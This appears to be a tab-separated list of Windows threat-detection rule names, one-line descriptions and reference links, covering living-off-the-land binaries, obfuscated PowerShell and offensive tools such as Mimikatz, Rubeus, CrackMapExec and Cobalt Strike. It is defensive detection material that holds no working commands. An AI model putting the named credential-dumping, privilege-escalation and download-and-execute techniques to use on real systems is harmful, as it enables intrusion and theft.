Fsutil Behavior Set SymlinkEvaluation	A symbolic link is a type of file that contains a reference to another file. This is probably done to make sure that the ransomware is able to follow shortcuts on the machine in order to find the original file to encrypt	https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware, https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/fsutil-behavior
Fsutil Suspicious Invocation	Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others).	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-usn, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070/T1070.md, https://eqllib.readthedocs.io/en/latest/analytics/c91f422a-5214-4b17-8664-c5fcf115c0a2.html, https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md, https://blog.cluster25.duskrise.com/2023/05/22/back-in-black-blackbyte-nt
Potential Arbitrary Command Execution Via FTP.EXE	Detects execution of "ftp.exe" script with the "-s" or "/s" flag and any child processes ran by "ftp.exe".	https://lolbas-project.github.io/lolbas/Binaries/Ftp/
Arbitrary File Download Via GfxDownloadWrapper.EXE	Detects execution of GfxDownloadWrapper.exe with a URL as an argument to download file.	https://lolbas-project.github.io/lolbas/HonorableMentions/GfxDownloadWrapper/
Suspicious Git Clone	Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious	https://gist.githubusercontent.com/MichaelKoczwara/12faba9c061c12b5814b711166de8c2f/raw/e2068486692897b620c25fde1ea258c8218fe3d3/history.txt
Potentially Suspicious GoogleUpdate Child Process	Detects potentially suspicious child processes of "GoogleUpdate.exe"	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
File Decryption Using Gpg4win	Detects usage of Gpg4win to decrypt files	https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html, https://www.gpg4win.de/documentation.html, https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
File Encryption Using Gpg4win	Detects usage of Gpg4win to encrypt files	https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html, https://www.gpg4win.de/documentation.html, https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
Portable Gpg.EXE Execution	Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.	https://www.trendmicro.com/vinfo/vn/threat-encyclopedia/malware/ransom.bat.zarlock.a, https://securelist.com/locked-out/68960/, https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1486/T1486.md
File Encryption/Decryption Via Gpg4win From Suspicious Locations	Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.	https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html, https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
Arbitrary Binary Execution Using GUP Utility	Detects execution of the Notepad++ updater (gup) to launch other commands or executables	https://twitter.com/nas_bench/status/1535322445439180803
Gpresult Display Group Policy Information	Detects cases in which a user uses the built-in Windows utility gpresult to display the Resultant Set of Policy (RSoP) information	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult, https://unit42.paloaltonetworks.com/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/, https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
File Download Using Notepad++ GUP Utility	Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.	https://twitter.com/nas_bench/status/1535322182863179776
Suspicious GUP Usage	Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks	https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html
HH.EXE Execution	Detects the execution of "hh.exe" to open ".chm" files.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md, https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html, https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
Remote CHM File Download/Execution Via HH.EXE	Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.	https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html, https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md, https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
HTML Help HH.EXE Suspicious Child Process	Detects a suspicious child process of a Microsoft HTML Help (HH.exe)	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/, https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
Suspicious HH.EXE Execution	Detects a suspicious execution of a Microsoft HTML Help (HH.exe)	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/, https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/, https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37
HackTool - ADCSPwn Execution	Detects command line parameters used by ADCSPwn, a tool to escalate privileges in an active directory network by coercing authenticate from machine accounts and relaying to the certificate service	https://github.com/bats3c/ADCSPwn
HackTool - Bloodhound/Sharphound Execution	Detects command line parameters used by Bloodhound and Sharphound hack tools	https://github.com/BloodHoundAD/BloodHound, https://github.com/BloodHoundAD/SharpHound
HackTool - F-Secure C3 Load by Rundll32	F-Secure C3 produces DLLs with a default exported StartNodeRelay function.	https://github.com/FSecureLABS/C3/blob/11a081fd3be2aaf2a879f6b6e9a96ecdd24966ef/Src/NodeRelayDll/NodeRelayDll.cpp#L12
HackTool - Certify Execution	Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.	https://github.com/GhostPack/Certify
HackTool - Certipy Execution	Detects Certipy execution, a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.	https://github.com/ly4k/Certipy, https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
Operator Bloopers Cobalt Strike Commands	Detects use of Cobalt Strike commands accidentally entered in the CMD shell	https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf, https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/, https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
Operator Bloopers Cobalt Strike Modules	Detects Cobalt Strike module/commands accidentally entered in CMD shell	https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf, https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/, https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
CobaltStrike Load by Rundll32	Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.	https://www.cobaltstrike.com/help-windows-executable, https://redcanary.com/threat-detection-report/, https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/
Potential CobaltStrike Process Patterns	Detects potential process patterns related to Cobalt Strike beacon activity	https://hausec.com/2021/07/26/cobalt-strike-and-tradecraft/, https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
HackTool - CoercedPotato Execution	Detects the use of CoercedPotato, a tool for privilege escalation	https://github.com/hackvens/CoercedPotato, https://blog.hackvens.fr/articles/CoercedPotato.html
HackTool - Covenant PowerShell Launcher	Detects suspicious command lines used in Covenant luanchers	https://posts.specterops.io/covenant-v0-5-eee0507b85ba
HackTool - CrackMapExec Execution	This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.	https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local, https://www.mandiant.com/resources/telegram-malware-iranian-espionage, https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz, https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject
HackTool - CrackMapExec Execution Patterns	Detects various execution patterns of the CrackMapExec pentesting framework	https://github.com/byt3bl33d3r/CrackMapExec
HackTool - CrackMapExec Process Patterns	Detects suspicious process patterns found in logs when CrackMapExec is used	https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass
HackTool - CrackMapExec PowerShell Obfuscation	The CrachMapExec pentesting framework implements a PowerShell obfuscation with some static strings detected by this rule.	https://github.com/byt3bl33d3r/CrackMapExec, https://github.com/byt3bl33d3r/CrackMapExec/blob/0a49f75347b625e81ee6aa8c33d3970b5515ea9e/cme/helpers/powershell.py#L242
HackTool - CreateMiniDump Execution	Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine	https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
HackTool - DInjector PowerShell Cradle Execution	Detects the use of the Dinject PowerShell cradle based on the specific flags	https://web.archive.org/web/20211001064856/https://github.com/snovvcrash/DInjector
HackTool - Dumpert Process Dumper Execution	Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory	https://github.com/outflanknl/Dumpert, https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
HackTool - EDRSilencer Execution	Detects the execution of EDRSilencer, a tool that leverages Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server based on PE metadata information.	https://github.com/netero1010/EDRSilencer
HackTool - Empire PowerShell Launch Parameters	Detects suspicious powershell command line parameters used in Empire	https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
HackTool - Empire PowerShell UAC Bypass	Detects some Empire PowerShell UAC bypass methods	https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64, https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64
Hacktool Execution - Imphash	Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed	Internal Research
HackTool - WinRM Access Via Evil-WinRM	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-3---winrm-access-with-evil-winrm, https://github.com/Hackplayers/evil-winrm
Hacktool Execution - PE Metadata	Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed	https://github.com/cube0x0, https://www.virustotal.com/gui/search/metadata%253ACube0x0/files
HackTool - GMER Rootkit Detector and Remover Execution	Detects the execution GMER tool based on image and hash fields.	http://www.gmer.net/
HackTool - HandleKatz LSASS Dumper Execution	Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same	https://github.com/codewhitesec/HandleKatz
HackTool - Hashcat Password Cracker Execution	Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat, https://hashcat.net/wiki/doku.php?id=hashcat
HackTool - Htran/NATBypass Execution	Detects executable names or flags used by Htran or Htran-like tools (e.g. NATBypass)	https://github.com/HiwinCN/HTran, https://github.com/cw1997/NATBypass
HackTool - Hydra Password Bruteforce Execution	Detects command line parameters used by Hydra password guessing hack tool	https://github.com/vanhauser-thc/thc-hydra
HackTool - Potential Impacket Lateral Movement Activity	Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework	https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py, https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py, https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py, https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py, https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html
HackTool - Impacket Tools Execution	Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)	https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries
HackTool - Impersonate Execution	Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively	https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/, https://github.com/sensepost/impersonate
Invoke-Obfuscation COMPRESS OBFUSCATION	Detects Obfuscated Powershell via COMPRESS OBFUSCATION	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation CLIP+ Launcher	Detects Obfuscated use of Clip.exe to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Obfuscated IEX Invocation	Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block	https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
Invoke-Obfuscation STDIN+ Launcher	Detects Obfuscated use of stdin to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR+ Launcher	Detects Obfuscated use of Environment Variables to execute PowerShell	https://github.com/SigmaHQ/sigma/issues/1009
HackTool - Inveigh Execution	Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool	https://github.com/Kevin-Robertson/Inveigh, https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
Invoke-Obfuscation Via Stdin	Detects Obfuscated Powershell via Stdin in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use Clip	Detects Obfuscated Powershell via use Clip.exe in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation Via Use MSHTA	Detects Obfuscated Powershell via use MSHTA in Scripts	https://github.com/SigmaHQ/sigma/issues/1009
Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION	Detects Obfuscated Powershell via VAR++ LAUNCHER	https://github.com/SigmaHQ/sigma/issues/1009
HackTool - Jlaive In-Memory Assembly Execution	Detects the use of Jlaive to execute assemblies in a copied PowerShell	https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool, https://web.archive.org/web/20220514073704/https://github.com/ch2sh/Jlaive
HackTool - Koadic Execution	Detects command line parameters used by Koadic hack tool	https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/, https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js, https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/
HackTool - KrbRelay Execution	Detects the use of KrbRelay, a Kerberos relaying tool	https://github.com/cube0x0/KrbRelay
HackTool - KrbRelayUp Execution	Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced	https://github.com/Dec0ne/KrbRelayUp
HackTool - RemoteKrbRelay Execution	Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.	https://github.com/CICADA8-Research/RemoteKrbRelay
HackTool - LaZagne Execution	Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer. LaZagne has been leveraged multiple times by threat actors in order to dump credentials.	https://github.com/AlessandroZ/LaZagne/tree/master, https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/, https://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/, https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/, https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/800c0e06571993a54e39571cf27fd474dcc5c0bc/2017/2017.11.14.Muddying_the_Water/muddying-the-water-targeted-attacks.pdf
HackTool - LocalPotato Execution	Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples	https://www.localpotato.com/localpotato_html/LocalPotato.html, https://github.com/decoder-it/LocalPotato
Potential Meterpreter/CobaltStrike Activity	Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting	https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment, https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
HackTool - Mimikatz Execution	Detection well-known mimikatz command line arguments	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://tools.thehacker.recipes/mimikatz/modules
HackTool - PCHunter Execution	Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff	https://web.archive.org/web/20231210115125/http://www.xuetr.com/, https://www.crowdstrike.com/blog/falcon-overwatch-report-finds-increase-in-ecrime/, https://www.hexacorn.com/blog/2018/04/20/kernel-hacking-tool-you-might-have-never-heard-of-xuetr-pchunter/
HackTool - Default PowerSploit/Empire Scheduled Task Creation	Detects the creation of a schtask via PowerSploit or Empire Default Configuration.	https://github.com/0xdeadbeefJERKY/PowerSploit/blob/8690399ef70d2cad10213575ac67e8fa90ddf7c3/Persistence/Persistence.psm1, https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/powershell/persistence/userland/schtasks.py
HackTool - PowerTool Execution	Detects the execution of the tool PowerTool which has the ability to kill a process, delete its process file, unload drivers, and delete the driver files	https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/, https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html, https://twitter.com/gbti_sa/status/1249653895900602375?lang=en, https://www.softpedia.com/get/Antivirus/Removal-Tools/ithurricane-PowerTool.shtml
HackTool - Pypykatz Credentials Dumping Activity	Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored	https://github.com/skelsec/pypykatz, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz
HackTool - PurpleSharp Execution	Detects the execution of the PurpleSharp adversary simulation tool	https://github.com/mvelazc0/PurpleSharp
HackTool - Quarks PwDump Execution	Detects usage of the Quarks PwDump tool via commandline arguments	https://github.com/quarkslab/quarkspwdump, https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/seedworm-apt-iran-middle-east
HackTool - RedMimicry Winnti Playbook Execution	Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility	https://redmimicry.com/posts/redmimicry-winnti/
Potential SMB Relay Attack Tool Execution	Detects different hacktools used for relay attacks on Windows for privilege escalation	https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/, https://pentestlab.blog/2017/04/13/hot-potato/, https://github.com/ohpe/juicy-potato, https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes, https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire, https://www.localpotato.com/
HackTool - Rubeus Execution	Detects the execution of the hacktool Rubeus via PE information of command line parameters	https://blog.harmj0y.net/redteaming/from-kekeo-to-rubeus, https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html, https://github.com/GhostPack/Rubeus
HackTool - SafetyKatz Execution	Detects the execution of the hacktool SafetyKatz via PE information and default Image name	https://github.com/GhostPack/SafetyKatz
HackTool - SecurityXploded Execution	Detects the execution of SecurityXploded Tools	https://securityxploded.com/, https://web.archive.org/web/20200601000524/https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/
HackTool - PPID Spoofing SelectMyParent Tool Execution	Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent	https://pentestlab.blog/2020/02/24/parent-pid-spoofing/, https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks, https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing, https://www.virustotal.com/gui/search/filename%253Aspoof%2520filename%253Appid/files
HackTool - SharPersist Execution	Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms	https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit, https://github.com/mandiant/SharPersist
HackTool - SharpEvtMute Execution	Detects the use of SharpEvtHook, a tool that tampers with the Windows event logs	https://github.com/bats3c/EvtMute
HackTool - SharpLdapWhoami Execution	Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller	https://github.com/bugch3ck/SharpLdapWhoami
HackTool - SharpMove Tool Execution	Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options.	https://github.com/0xthirteen/SharpMove/, https://pentestlab.blog/tag/sharpmove/
HackTool - SharpUp PrivEsc Tool Execution	Detects the use of SharpUp, a tool for local privilege escalation	https://github.com/GhostPack/SharpUp
HackTool - SharpView Execution	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems	https://github.com/tevora-threat/SharpView/, https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview
HackTool - SharpWSUS/WSUSpendu Execution	Detects the execution of SharpWSUS or WSUSpendu, utilities that allow for lateral movement through WSUS. Windows Server Update Services (WSUS) is a critical component of Windows systems and is frequently configured in a way that allows an attacker to circumvent internal networking limitations.	https://labs.nettitude.com/blog/introducing-sharpwsus/, https://github.com/nettitude/SharpWSUS, https://web.archive.org/web/20210512154016/https://github.com/AlsidOfficial/WSUSpendu/blob/master/WSUSpendu.ps1
HackTool - SharpChisel Execution	Detects usage of the Sharp Chisel via the commandline arguments	https://github.com/shantanu561993/SharpChisel, https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/
HackTool - SharpImpersonation Execution	Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively	https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/, https://github.com/S3cur3Th1sSh1t/SharpImpersonation
HackTool - SharpDPAPI Execution	Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.	https://github.com/GhostPack/SharpDPAPI
HackTool - SharpLDAPmonitor Execution	Detects execution of the SharpLDAPmonitor. Which can monitor the creation, deletion and changes to LDAP objects.	https://github.com/p0dalirius/LDAPmonitor
HackTool - SILENTTRINITY Stager Execution	Detects SILENTTRINITY stager use via PE metadata	https://github.com/byt3bl33d3r/SILENTTRINITY
HackTool - Sliver C2 Implant Activity Pattern	Detects process activity patterns as seen being used by Sliver C2 framework implants	https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/implant/sliver/shell/shell_windows.go#L36, https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
HackTool - SOAPHound Execution	Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.	https://github.com/FalconForceTeam/SOAPHound, https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c
HackTool - Stracciatella Execution	Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.	https://github.com/mgeeky/Stracciatella
HackTool - SysmonEOP Execution	Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120	https://github.com/Wh04m1001/SysmonEoP
HackTool - TruffleSnout Execution	Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration.	https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md, https://github.com/dsnezhkov/TruffleSnout, https://github.com/dsnezhkov/TruffleSnout/blob/master/TruffleSnout/Docs/USAGE.md
HackTool - UACMe Akagi Execution	Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata	https://github.com/hfiref0x/UACME
HackTool - Windows Credential Editor (WCE) Execution	Detects the use of Windows Credential Editor (WCE)	https://www.ampliasecurity.com/research/windows-credentials-editor/
HackTool - winPEAS Execution	WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz	https://github.com/carlospolop/PEASS-ng, https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation
HackTool - WinPwn Execution	Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.	https://github.com/S3cur3Th1sSh1t/WinPwn, https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841, https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/, https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md, https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team
HackTool - Wmiexec Default Powershell Command	Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script	https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py
HackTool - XORDump Execution	Detects suspicious use of XORDump process memory dumping utility	https://github.com/audibleblink/xordump
Suspicious ZipExec Execution	ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.	https://twitter.com/SBousseaden/status/1451237393017839616, https://github.com/Tylous/ZipExec
Suspicious Execution of Hostname	Use of hostname to get information	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-6---hostname-discovery-windows, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname
Suspicious HWP Sub Processes	Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation	https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/, https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1, https://twitter.com/cyberwar_15/status/1187287262054076416, https://blog.alyac.co.kr/1901, https://en.wikipedia.org/wiki/Hangul_(word_processor)
Potential Fake Instance Of Hxtsr.EXE Executed	HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications. HxTsr.exe is part of Outlook apps, because it resides in a hidden "WindowsApps" subfolder of "C:\Program Files". Any instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe	Internal Research
Use Icacls to Hide File to Everyone	Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files	https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/
File Download And Execution Via IEExec.EXE	Detects execution of the IEExec utility to download and execute files	https://lolbas-project.github.io/lolbas/Binaries/Ieexec/
Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location	Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors.	https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html, https://en.wikipedia.org/wiki/IExpress, https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/, https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
